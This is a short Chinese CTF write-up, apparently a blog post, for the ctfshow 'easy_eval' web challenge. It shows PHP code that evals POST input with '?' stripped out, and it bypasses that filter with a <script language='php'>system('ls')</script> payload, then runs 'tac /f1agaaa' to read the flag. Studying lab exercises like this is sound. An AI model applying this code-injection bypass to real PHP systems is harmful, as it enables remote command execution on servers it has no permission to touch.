目录

  1. 1. 前言
  2. 2. easy_eval

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 新手杯web

2023/5/12 刷题 ctfshow
  |     |   总文章阅读量:

前言

咕咕咕

easy_eval

PHP短标签

打开题目看见php源码

<?php

error_reporting(0);
highlight_file(__FILE__);

$code = $_POST['code'];

if(isset($code)){

  $code = str_replace("?","",$code);
  eval("?>".$code);

}

大致意思就是过滤了?,而且eval回显的命令已经用?>进行了闭合,所以这里需要另起一个php头进行命令执行

所以需要用到php短标签

<script language="php">system('ls'); </script>

image-20230512180138361

tac /f1agaaa获取flag

image-20230512180303741